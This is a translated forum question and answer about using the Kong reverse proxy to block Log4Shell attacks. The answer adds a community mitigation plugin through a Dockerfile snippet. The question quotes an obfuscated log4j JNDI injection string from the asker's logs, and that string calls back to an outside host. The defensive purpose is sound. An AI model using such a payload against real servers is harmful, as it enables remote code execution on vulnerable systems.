使用 kong 反向代理过滤 log4j 漏洞

使用 kong 反向代理过滤 log4j 漏洞

我正在使用香港反向代理代理我的 Web 服务器的每个 HTTP 请求。我想缓解当前的 log4j 问题 ("log4shell通过查找并替换关键攻击者的字符串(如“jndi”),我能够轻松找到问题根源。例如,我在日志中发现了以下内容:

${jndi:${lower:l}${lower:d}a${lower:p}://xxx.log4j.bin${upper:a}xxx.xx:80/callback}

我认为这可以通过使用请求转换器插件。有人已经这样做了吗?

PS:仅仅jndi用 来替换disabled太过深远而且会破坏很多东西。

答案1

来自 Kong 的人最近发了一封博客文章这回答了我的问题。他们开发了一种kong 插件从而减轻漏洞影响。

我通过更改 Dockerfile 将此插件添加到我的 kong 中:

FROM kong:2.6
...
USER root
...
# log4shell mitigation
# see https://konghq.com/blog/log4j-log4shell/
RUN git clone https://github.com/brentos/kong-plugin-log4shell && \
    cd kong-plugin-log4shell && \
    luarocks make
...
ENV KONG_PLUGINS ...,log4shell
...
USER kong

然后我刚刚将这个 log4shell 添加为全局插件。

相关内容